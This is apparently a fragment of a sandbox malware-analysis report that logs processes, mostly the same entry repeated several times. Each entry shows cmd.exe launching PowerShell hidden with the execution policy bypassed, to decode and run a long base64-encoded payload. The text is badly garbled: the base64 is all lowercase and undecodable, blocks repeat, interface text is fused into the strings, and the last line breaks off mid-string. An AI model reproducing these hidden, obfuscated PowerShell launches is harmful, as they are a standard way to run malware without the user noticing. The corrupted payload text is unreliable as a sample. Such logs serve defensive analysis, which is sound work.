cq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0fJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0fJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0fJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pympl